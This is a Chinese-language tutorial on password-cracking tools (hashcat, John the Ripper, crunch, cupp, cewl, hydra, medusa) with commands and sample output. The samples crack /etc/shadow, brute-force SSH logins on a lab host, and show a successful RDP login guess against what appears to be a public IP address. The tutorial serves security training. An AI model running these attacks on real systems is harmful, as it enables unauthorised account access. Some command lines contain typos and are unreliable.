Hash

哈希(hash)是很多种加密方式,通过哈希算法进行加密,将密码字符串计算成不可逆的字符串。通过用户输入的密码进行同样的算法对比加密后的字符串来判断输入是否正确。

Hahs-identifier

这是一个判断哈希加密类型的工具, 能够判断如下方式的哈希加密方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
ADLER-32
CRC-32
CRC-32B
CRC-16
CRC-16-CCITT
DES(Unix)
FCS-16
GHash-32-3
GHash-32-5
GOST R 34.11-94
Haval-160
Haval-192 110080 ,Haval-224 114080 ,Haval-256
Lineage II C4
Domain Cached Credentials
XOR-32
MD5(Half)
MD5(Middle)
MySQL
MD5(phpBB3)
MD5(Unix)
MD5(WordPress)
MD5(APR)
Haval-128
MD2
MD4
MD5
MD5(HMAC(WordPress))
NTLM
RAdmin v2.x
RipeMD-128
SNEFRU-128
Tiger-128
MySQL
MySQL5 – SHA-1(SHA-1($pass))
MySQL 160bit – SHA-1(SHA-1($pass))
RipeMD-160
SHA-1
SHA-1(MaNGOS)
Tiger-160
Tiger-192
md5($pass.$salt) – Joomla
SHA-1(Django)
SHA-224
RipeMD-256
SNEFRU-256
md5($pass.$salt) – Joomla
SAM – (LM_hash:NT_hash)
SHA-256(Django)
RipeMD-320
SHA-384
SHA-256
SHA-384(Django)
SHA-512
Whirlpool

工具使用非常简单,命令行中输入hash-identifier,再输入哈希秘密就可以进行判断了。返回结果一般会有多个,Possible Hashs:是最可能的类型,Least Possible Hashs:是其他可能的类型。

Hashid

同样是判断哈希类型的工具,一个哈希密码最好使用多种工具进行判断类型,确保准确率。

  • -e 扩展列出所有可能的哈希算法
  • -m 在输出中显示相应的Hashcat模式
  • -j 在输出中显示相应的JohnTheRipper格式
  • -o文件 输出文件将输出写入文件

在shell下使用命令名可加参数,回车后输入hash密文。

Hashcat

离线破解哈希密文,hashcat分为三个版本:HashCat只支持CPU破解。oclHashcat-plus支持使用GPU破解多个HASH,并且支持的算法高达77种。oclHashcat-lite只支持使用GPU对单个HASH进行破解,支持的HASH种类仅有32种。

-a

指定模式,有五种模式

1
2
3
4
5
0 Straight(字典破解)
1 Combination(组合破解)
3 Brute-force(掩码暴力破解)
6 Hybrid dict + mask(混合字典+掩码)
7 Hybrid mask + dict(混合掩码+字典)

-m

指定哈希类型,类型非常多,经常使用的是MD类型的加密,下面为一部分常用的modes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

- [ Hash modes ] -

# | Name | Category
======+==================================================+======================================
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
1300 | SHA2-224 | Raw Hash
1400 | SHA2-256 | Raw Hash
10800 | SHA2-384 | Raw Hash
1700 | SHA2-512 | Raw Hash
17300 | SHA3-224 | Raw Hash
17400 | SHA3-256 | Raw Hash
17500 | SHA3-384 | Raw Hash
17600 | SHA3-512 | Raw Hash
2500 | WPA-EAPOL-PBKDF2 | Network Protocols
2501 | WPA-EAPOL-PMK | Network Protocols
16800 | WPA-PMKID-PBKDF2 | Network Protocols
16801 | WPA-PMKID-PMK | Network Protocols
7300 | IPMI2 RAKP HMAC-SHA1 | Network Protocols
7500 | Kerberos 5 AS-REQ Pre-Auth etype 23 | Network Protocols
8300 | DNSSEC (NSEC3) | Network Protocols
10200 | CRAM-MD5 | Network Protocols
11100 | PostgreSQL CRAM (MD5) | Network Protocols
11200 | MySQL CRAM (SHA1) | Network Protocols
16100 | TACACS+ | Network Protocols
16500 | JWT (JSON Web Token) | Network Protocols
12 | PostgreSQL | Database Server
131 | MSSQL (2000) | Database Server
132 | MSSQL (2005) | Database Server
1731 | MSSQL (2012, 2014) | Database Server
200 | MySQL323 | Database Server
300 | MySQL4.1/MySQL5 | Database Server
3100 | Oracle H: Type (Oracle 7+) | Database Server
112 | Oracle S: Type (Oracle 11+) | Database Server
12300 | Oracle T: Type (Oracle 12+) | Database Server
8000 | Sybase ASE | Database Server
15000 | FileZilla Server >= 0.9.55 | FTP Server
11500 | CRC32 | Checksums
3000 | LM | Operating Systems
1000 | NTLM | Operating Systems
500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating Systems
3200 | bcrypt $2*$, Blowfish (Unix) | Operating Systems
7400 | sha256crypt $5$, SHA256 (Unix) | Operating Systems
1800 | sha512crypt $6$, SHA512 (Unix) | Operating Systems
122 | macOS v10.4, MacOS v10.5, MacOS v10.6 | Operating Systems
1722 | macOS v10.7 | Operating Systems
7100 | macOS v10.8+ (PBKDF2-SHA512) | Operating Systems
11600 | 7-Zip | Archives
12500 | RAR3-hp | Archives
13000 | RAR5 | Archives
13600 | WinZip | Archives
9700 | MS Office <= 2003 $0/$1, MD5 + RC4 | Documents
9710 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #1 | Documents
9720 | MS Office <= 2003 $0/$1, MD5 + RC4, collider #2 | Documents
9800 | MS Office <= 2003 $3/$4, SHA1 + RC4 | Documents
9810 | MS Office <= 2003 $3, SHA1 + RC4, collider #1 | Documents
9820 | MS Office <= 2003 $3, SHA1 + RC4, collider #2 | Documents
9400 | MS Office 2007 | Documents
9500 | MS Office 2010 | Documents
9600 | MS Office 2013 | Documents
10400 | PDF 1.1 - 1.3 (Acrobat 2 - 4) | Documents
10410 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1 | Documents
10420 | PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2 | Documents
10500 | PDF 1.4 - 1.6 (Acrobat 5 - 8) | Documents
10600 | PDF 1.7 Level 3 (Acrobat 9) | Documents
10700 | PDF 1.7 Level 8 (Acrobat 10 - 11) | Documents

可以使用 :hashcat -h | grep MD5 类似的命令进行查看,寻找需要的类型

-o

将结果输出到指定文件,如果不输出将会直接打印明文到哈希后面

–force

忽略警告信息,基本上需要使用到

字典破解

使用模式0是字典破解

破解单个hash

1
hashcat -a 0 -m 0 a5890d9822b661e8bdab3256840085e1 passlist.txt

破解完成可以使用–show来查看

1
2
3
4
hashcat -a 0 -m 0 caf1a3dfb505ffed0d024130f58c5cfa passlist.txt --show

>>>
caf1a3dfb505ffed0d024130f58c5cfa:321

破解hash文件

1
hashcat -a 0 hash.txt passlist.txt -o result.txt --force

组合破解

使用模式1进行组合破解

1
hashcat -a 1 25f9e794323b453885f5181f1b624d0b pwd1.txt pwd2.txt

两个字典文件进行破解

掩码破解

使用模式3进行掩码破解

下面是掩码表

1
2
3
4
5
6
7
8
l | abcdefghijklmnopqrstuvwxyz          纯小写字母
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ 纯大写字母
d | 0123456789 纯数字
h | 0123456789abcdef 常见小写子目录和数字
H | 0123456789ABCDEF 常见大写字母和数字
s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ 特殊字符
a | ?l?u?d?s 键盘上所有可见的字符
b | 0x00 - 0xff 可能是用来匹配像空格这种密码的

限制位数

1
6-8位小写字母密码:--increment --increment-min 6 --increment-max 8 ?l?l?l?l?l?l?l?l

–increment-min最小位数,–increment-max最大位数

代替位

1
-1 123 -2 abc  ?1?1?2?2

具体意思是1代表123,2代表abc,一个4位密码前两个可能是123后两个可能是abc

1
hashcat -a 3 -m 0 08edd23ead0f4e7cbed0d1a80a3d8d90 --increment --increment-min 3 --increment-max 6 -1 ab ?1?1?1?1?1?l --force

字典掩码

字典加掩码混合破解,模式6

1
hashcat -a 6 25f9e794323b453885f5181f1b624d0b pwd1.txt ?l?l?l

字典无法对应的话就使用掩码进行破解

彩虹表

彩虹表是一种经过计算后的哈希值,他和明文对应。使用字典破解的时候需要将明文使用算法转化为哈希值,而彩虹表省去了计算的时间,直接使用对比的方法找到密码。

rainbowcrack

使用rainbowcrack分为三步,生成彩虹表,排序彩虹表,密码破解

rtgen

使用这个子命令生成彩虹表,彩虹表生成在rainbowcrack目录下:/usr/share/rainbowcrack

1
2
rtgen md5 loweralpha-numeric 1 5 0 3800 33554432 0
rtgen md5(加密) loweralpha-numeric(字符串) 1 5(范围) 0(able_index) 3800(chain_len) 33554432(chain_num) 0(part_index)

链越长,越耗时。消耗的时间主要与链长(chain_len)相关与链的个数(chain_num)无关

减小链的个数(chain_num),增大表单数量(table_index),将会有较高的破解成功率

rtsort

1
rtsort .

排序当前的彩虹表

rcrack

1
rcrack . -h 202cb962ac59075b964b07152d234b70

破解哈希值

穷举破解

Crunch的使用

Crunch是一个生成密码的工具,在众多工具里进行穷举密码的生成还是比较优秀的。

在linux系统下使用apt install crunch即可安装

语法:crunch min-len max-len [charset string] [option]

使用dpkg -L查看系统文件中和crunch有关的目录文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@bl:~# dpkg -L crunch
/.
/usr
/usr/bin
/usr/bin/crunch
/usr/share
/usr/share/crunch
/usr/share/crunch/charset.lst
/usr/share/doc
/usr/share/doc/crunch
/usr/share/doc/crunch/changelog.Debian.amd64.gz
/usr/share/doc/crunch/changelog.Debian.gz
/usr/share/doc/crunch/changelog.gz
/usr/share/doc/crunch/copyright
/usr/share/man
/usr/share/man/man1
/usr/share/man/man1/crunch.1.gz

只要知道一个文件就行了

/usr/share/crunch/charset.lst是字符文件地址,里面记录了键盘上的多种字符组合,在生成密码库的时候不用再手动输入。使用方法在具体案例中展示。

-o

o参数是表示输出的文件后面紧跟文件名,如果不带该参数默认打印不生成文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
crunch 3 3 123 -o passwd.txt #第一个3表示密码最短长度,第二个3表示最长,123是需要组合的字符串

>>>
Crunch will now generate the following amount of data: 108 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 27

crunch: 100% completed generating output
root@bl:~/crunch# dir
passwd.txt

-d

d参数限制同一个字符串连续出现的次数。

1
2
3
4
5
6
7
8
9
10
11
crunch 3 3 123 -o passwd.txt -d 1 

>>>
Crunch will now generate the following amount of data: 48 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 12

crunch: 100% completed generating output

限制连续的字符串为1,123所组合的数量为12个,相比前面没有限制的少了15个

-p

p参数将后面传入的字符进行随机排列,长度限制将会失效

1
2
3
4
5
6
7
8
9
10
11
crunch -o passwd.txt -d 1 -p 1234

>>>
Crunch will now generate approximately the following amount of data: 120 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 24

crunch: 100% completed generating output

生成结果是1234的随机排列,1234,有4×3×2种可能。

-q

读取一个文章每一行作为基本字符,再以这些字符进行组合排列

page.txt内容是:

you
are
people
?

1
2
3
4
5
6
7
8
9
10
11
crunch 4 4 -q page.txt -o passwd.txt

>>>
Crunch will now generate approximately the following amount of data: 408 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 24

crunch: 100% completed generating output

生成的内容是这四行的随机组合例如:you ? are people

-t

这个参数表示的是匹配统配字符,比如想要生成全数字的密码不需要crunch 3 3 1234… -o passwd.txt这样,只需要在-t后面加上一个统配符。但是他位数已经给固定了。优点是可以生成部分已知的密码。

1
crunch 3 3 -t @,% -o passwd.txt
  • @表示小写字母
  • ,表示大写字母
  • %表示数字
  • ^表示符号

如果需要对某个位置进行限定字符串可以如下操作

+是一个占位符,连接不同类型指定的字符串

1
crunch 3 3 abc + 123 -t @%%

字母限定在abc数字限定在123

-f

在字符文件中选择字符集,字符文件在charset.lst里面

1
crunch 3 3 -f /usr/share/crunch/charset.lst mixalpha-sv

路径是指向的文件名,后面的mixalpha-sv是字符串的名字。密码会根据里面的所有字符串进行排列组合。

-b

按照大小分隔密码文件,使用这个必须要用-o START

  • 1kb
  • 1mb
  • 1gb
1
2
3
4
crunch 7 7 123 -o passwd.txt -b 1kb -o START

>>>
没个文件都是1kb,而且按照分为进行命名例如:2777111-2777888.txt

-c

按照个数进行分隔

1
2
3
4
crunch 7 7 12578 -c 10000 -o START

>>>
结果同上

-z

生成压缩包

  • 7z
  • gzip
  • bzip2
  • lzma

7z是压缩率最好的压缩方式

bzip2是压缩最快的方式

需要结合-o START使用

1
crunch 1 5 -o START -z bzip2

有些系统无法使用7z压缩,把bzip2最常用。

带空格密码

如果需要密码中带有空格需要使用引号将字符集括起来。

案例

以下案例来源自https://www.jianshu.com/p/72f9262ba6c1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
1.案例1生成字母组合
runch 1 9
生成最小1位最大9位,由26个小写字母为元素的所有组合

2.案例2生成指定字符组合
crunch 1 6 abcdefg
生成最小为1,最大为6,由字符串abcdefg开头,以字符串gggggg为结束的所有字符组合

3.案例3指定字符串加特殊字符的组合
crunch 1 6 abcdefg\
生成最小为1,最大为6,由abcdefg和空格为元素的所有组合(/代表空格)

4.案例4
crunch1 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt

5.案例5生成两位小写字母+dog+三位小写字母
crunch 8 8 -f charset.lst mixalpha-numeric-all-space -o wordlist.txt -t @@dog@@@ -s cbdogaaa

调用密码库charset.lst,生成8位密码;其中元素为密码库charset.lst中mixalpha-numeric-all-space的项;格式为“两个小写字母+dog+三个小写字母”,并以cbdogaaa字符串开始字典生成。mixalpha-numeric-all-space的值为:
@取值为mixalpha-numeric-all-space中的值。

6.案例6生成以BB开头的2位和3位大写字符串
crunch 2 3 -f charset.lst ualpha -s BB
调用密码库charset.lst,生成2位和3位密码;其中元素为密码库charset.lst中ualpha的项;并且以BB开头,其中ualpha =
[ABCDEFGHIJKLMNOPQRSTUVWXYZ],表示全部大写。注意charset.lst必须在当前运行程序目录,否则必须指定完整的路径地址。

7.案例7—生成某个字符串的所有数学组合
crunch 4 5 -p abc
crunch将会生成abc的所有位置变换,例如abc, acb, bac, bca, cab, cba,虽然数字4和5可以是其它值,但必须是后者大于前者,也可以是1 2,其本质意义是某一个单词的所有组合,流入crunch 1 1 –p password,将生成password中所有的排列组合。8*7*6*5*4*3*2*1=40320个单词。

8.案例8—生成单词的所有组合
crunch 4 5 -p dog cat bird
crunch将生成以“dog”“cat”“bird”为元素的所有密码组合:birdcatdog,birddogcat,catbirddog, catdogbird, dogbirdcat, dogcatbird,其大小有字母的排列数决定,在本例中为3×2×1=6个密码。

9.案例9生成6000个密码且生成文件压缩为bzip2格式
crunch 1 5 -o START -c 6000 -z bzip2
生成最小为1位,最大为5位元素为所有小写字母的密码字典,其中每一个字典文件包含6000个密码,并将密码文件保存为bz2文件,

10.案例10
crunch 4 5 -b 20mib -o START
生成最小为4位,最大为5位元素为所有小写字母的密码字典,并以20M进行分割;这时会生成4个文件

11.案例11
crunch 4 4+ + 123 + -t%%@^
生成4位密码,其中格式为“两个数字”+“一个小写字母”+“常见符号”(其中数字这里被指定只能为123组成的所有2位数字组合)。比如12f#,32j^,13t$......,换句话说-t选项后面出现的%只能从123中取值。

12.案例12
crunch 3 3 abc + 123 !@#-t^%@
生成3位密码,其中第一位由“a,b,c”中的一个;第二位为“1,2,3”中的一个;第三位为“!,@,#”中的一个。比如1a!、2a#、3b@......(此命令在实际测试中存在问题,!在linux为特殊命令).

13.案例13
crunch 4 4+ + 123 + -t %%@^
生成4位密码,其中格式为“两个数字”+“一个小写字母”+“常见符号”(其中数字这里被指定只能为123组成的所有2位数字组合)。比如12f#,32j^,13t$......
加号(+)是一个占位符,以便为字符类型指定一个字符集。crunch将使用默认字符集的字符类型,当crunch遇到一个+(加号)的命令行。您必须为每个字符类型指定值或使用加号。也就是说,如果你有两个字符类型,你要么为每个类型指定值,要么使用加号。“-t %%@^”指定第一和第二位插入数字,第三位插入小写字符,最后一位插入特殊字符,所以在这个例子中设置为:
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
123
!@#$%^&*()-_+=~`[]{}|\:;"'<>,.?/
生成的结果将会是以11a!开头,以"33z "结束的字典。

14.案例14
crunch 5 5 -t ddd@@ -o j -p dog cat bird
生成5个元素组成的密码,其中前三个为dog,cat,bird任意组合,后两个为两个小写字母的任意组合。比如birddogcatuz,catdogbirdab,birdcatdogff,......

15.案例15
crunch 7 7 -t p@ss,%^-l a@aaaaa
加-l选项是将字符串中的@作为文字字符集,而不是做为小写字母进行替换。生成7位密码,格式为“字符p@ss”+大写字母+数字+符号,比如p@ssZ9>......

16.案例16
crunch 5 5 -s @4#S2 -t @%^,2 -e @8*Q2 -l @dddd -b 10KB -o START
生成5位密码,以@4#S2开始,结束于@8*Q2.,并分割为10k大小,格式为小写字母+数字+符号+大写字母+数字。

17.案例17
crunch 5 5 -d 2@ -t @@@%%
crunch will generate 5 character strings staring with aab00 and endingat zzy99.Notice that aaa and zzz arenot present.
生成5位密码,格式为三个小写字母+两个数字,并限制每个密码最少出现2种字母,以aab00开头,以zzy99结束。“-d 2@”表示字母重复最多2次。

18.案例18
crunch 10 10 -t @@@^%%%%^^ -d 2@ -d 3% -b 20mb -o START
crunch will generate 10 character strings starting with aab!0001!! andending at zzy 9998The output will bewritten to 20mb files.
生成10位密码,格式为三个小写字母+一个符号+四个数字+两个符号,限制每个密码至少2种字母和至少3种数字,文件大小为20MB。

19.案例19
crunch 8 8 -d 2@
生成8位密码,每个密码至少出现两种字母

20.案例20
crunch 4 4 -f unicode_test.lst japanese -t @@%% -l @xdd
crunch will load some Japanese characters from the unicode_testcharacter set file.The output willstart at @日00 and end at @語99.

调用密码库unicode_test.lst中的japanese项目字符,生成4位密码,其中格式为两小写字母+两数字。

1.4比较有用的命令

(1)生成pass01-pass99所有数字组合
crunch 6 6 -t pass%%>>newpwd.txt

(2)生成六位小写字母密码,其中前四位为pass
crunch 6 6 -t pass@@>>newpwd.txt

(3)生成六位密码,其中前四位为pass,后二位为大写
crunch 6 6 -t pass,,>>newpwd.txt

(4)生成六位密码,其中前四位为pass,后二位为特殊字符
crunch 6 6 -t pass^^>>newpwd.txt

(5)制作8为数字字典
crunch 8 8 charset.lst numeric -o num8.dic

(6)制作6为数字字典
crunch 6 60123456789 –o num6.dic

(7)制作139开头的手机密码字典
crunch 11 11+0123456789 -t 139%%%%%%%% -o num13.dic
文件大小为1144 MB,还可以每次生成文件大小为20M,自动生成文件:
crunch 11 11+0123456789 -t 139%%%%%%%% -b 20mib -o START

(8)在线使用生成的密码
不用把庞大的字典保存在硬盘上,生成一个密码用一个,不过消耗的时间多,比较占用cpu,参数最后面的-表示引用crunch生成的密码,例如无线密码在线破解:
crunch 2 4 0123456789 | aircrack -ng a,cap
-e MyESSID -w -
crunch 10 1012345 --stodout | airolib -ng
testdlb -import passwd –
crunch1 6 0123456789 | john pwd.txt --stdin -

pw-inspector

密码筛选工具

Cupp

根据收集的信息进行字典生成,具有针对性的密码破解。

使用apt install cupp进行安装,或者git clone https://github.com/Mebus/cupp.git

  • -v 查看cupp版本号
  • -h 查看参数列表
  • -l 从github仓库下载字典
  • -i 使用交互式的提问创建用户密码字典,cupp的主要功能
  • -w 在已存在的字典上进行扩展

使用是只需要cupp -i 就可以进行对应生成了。

cewl

针对网站爬取进行密码生成的工具,属于kali自带的工具。

  • -w 输出后面跟文件名字
  • -m 字典的最小单词长度
  • -d 爬取深度一般为2
  • -o 让爬虫爬取其他站点,针对外链的
  • -u user-agent 带上user-agnet实现简单破防
  • -e 记录email地址
  • -c 展示发现的每个单词的数量
  • -v 显示信息

john(离线密码破解)

全名 John the Ripper是一个快速的密码破解工具,基于字典破解,用于在已知密文的情况下尝试破解出明文,支持目前大多数的加密算法,可用于破解系统密码,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS。

基本上是用来破解密码文件的,使用单独哈希值不能破解

1
2
可执行文件位置:  /usr/sbin/john
密码字典目录:/usr/share/john/

一般会使用自带的字典,如果需要传入自己的字典使用–wordlist=path

1
john --wordlist=字典路径 密码文件 --format=哈希格式

format可以不用输入,会提示输入

破解shadow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌─[root@parrot]─[~]
└──╼ #john /etc/shadow
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE2 2x])
Remaining 1 password hash
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 5 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 7 candidates buffered for the current salt, minimum 8 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
123 (jack) #密码是123用户名是jack
1g 0:00:00:05 DONE 2/3 (2020-07-02 10:56) 0.1766g/s 568.3p/s 568.3c/s 568.3C/s 123456..franklin
Use the "--show" option to display all of the cracked passwords reliably
Session completed

可以用自己的字典,在破解时会遇到线程问题如下:Crash recovery file is locked: /root/.john/john.rec

1
rm -rf /root/.john/john.rec

可以解决线程问题

查看密码

1
2
3
4
5
6
7
8
9
john --show 文件名

┌─[✗]─[root@parrot]─[~]
└──╼ #john --show /etc/shadow
root:root:18209:0:99999:7:::
blosslom:root:18209:0:99999:7:::
jack:123:18445:0:99999:7:::

3 password hashes cracked, 1 left

john有图形界面,在linux系统下输入:johnny可以打开图像界面

hydra(在线密码破解)

hydra是一个常用的密码暴力破解工具,名字来源与神话中的九头蛇。

命令参数

-l

login设置单个登陆用户名

-L

设置一个文件,里面放多个用户名

-p

password设置单个密码

-P

设置密码文件

-f

设置单个IP地址,不加参数也可以设置

-M

设置IP文件

-o

设置输出日志*.txt

端口

rdp:3389端口

1
2
3
4
5
6
7
8
9
10
11
12
13
┌─[root@parrot]─[~]
└──╼ #hydra 47.95.204.154 -l Administrator -p @h***mm2 rdp
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-07-06 20:32:07
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking rdp://47.95.204.154:3389/
[3389][rdp] host: 47.95.204.154 login: Administrator password: @h***mm2
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-07-06 20:32:08

破解成功就是这样,这行是输出的密码和对应的用户名

[3389][rdp] host: 47.95.204.154 login: Administrator password: @h***mm2

案例

使用密码文件对linux系统进行登陆破解

1
2
3
4
5
6
7
8
9
10
11
┌─[root@parrot]─[~]
└──╼ #hydra -L username.txt -P pass.txt ssh://192.168.248.131
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-07-06 21:51:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 16 tasks per 1 server, overall 16 tasks, 18964 login tries (l:862/p:22), ~1186 tries per task
[DATA] attacking ssh://192.168.248.131:22/
[22][ssh] host: 192.168.248.131 login: root password: owaspbwa
[STATUS] 2986.00 tries/min, 2986 tries in 00:01h, 16011 to do in 00:06h, 16 active

爆破出用户名root密码owaspbwa

medusa(在线密码破解)

medusa也是一款在线密码破解工具,和hydra实力相当,经常测试似乎medusa速度更快一些,medusa的名字来自神话中的蛇女(头发是蛇)。

-u

user单个用户名

-U

用户名文件

-p

单个密码

-P

密码文件

-h

目标IP

-H

IP文件

-M

调用模块

-O

输出日志到*.txt

-t

线程,好像就是因为这个比hydar快的。

案例

1
2
┌─[root@parrot]─[~]
└──╼ #medusa -U username.txt -P pass.txt -h 192.168.248.131 -M ssh -O md.txt -t 16

在文件md.txt中保存了输出日志,使用16线程

1
2
3
4
5
6
7
8
┌─[root@parrot]─[~]
└──╼ #cat md.txt
# Medusa v.2.2 (2020-07-07 19:47:18)
# medusa -U username.txt -P pass.txt -h 192.168.248.131 -M ssh -O md.txt
# Medusa v.2.2 (2020-07-07 19:47:51)
# medusa -U username.txt -P pass.txt -h 192.168.248.131 -M ssh -O md.txt -t 16
ACCOUNT FOUND: [ssh] Host: 192.168.248.131 User: root Password: owaspbwa [SUCCESS]
# Medusa has finished (2020-07-07 19:48:34).

可以看到有SUCCESS的一行表示成功,如果不加-O成功在输出中,很难找到。

总结必加的参数:

  • 用户名
  • 密码
  • IP
  • 方法
  • 输出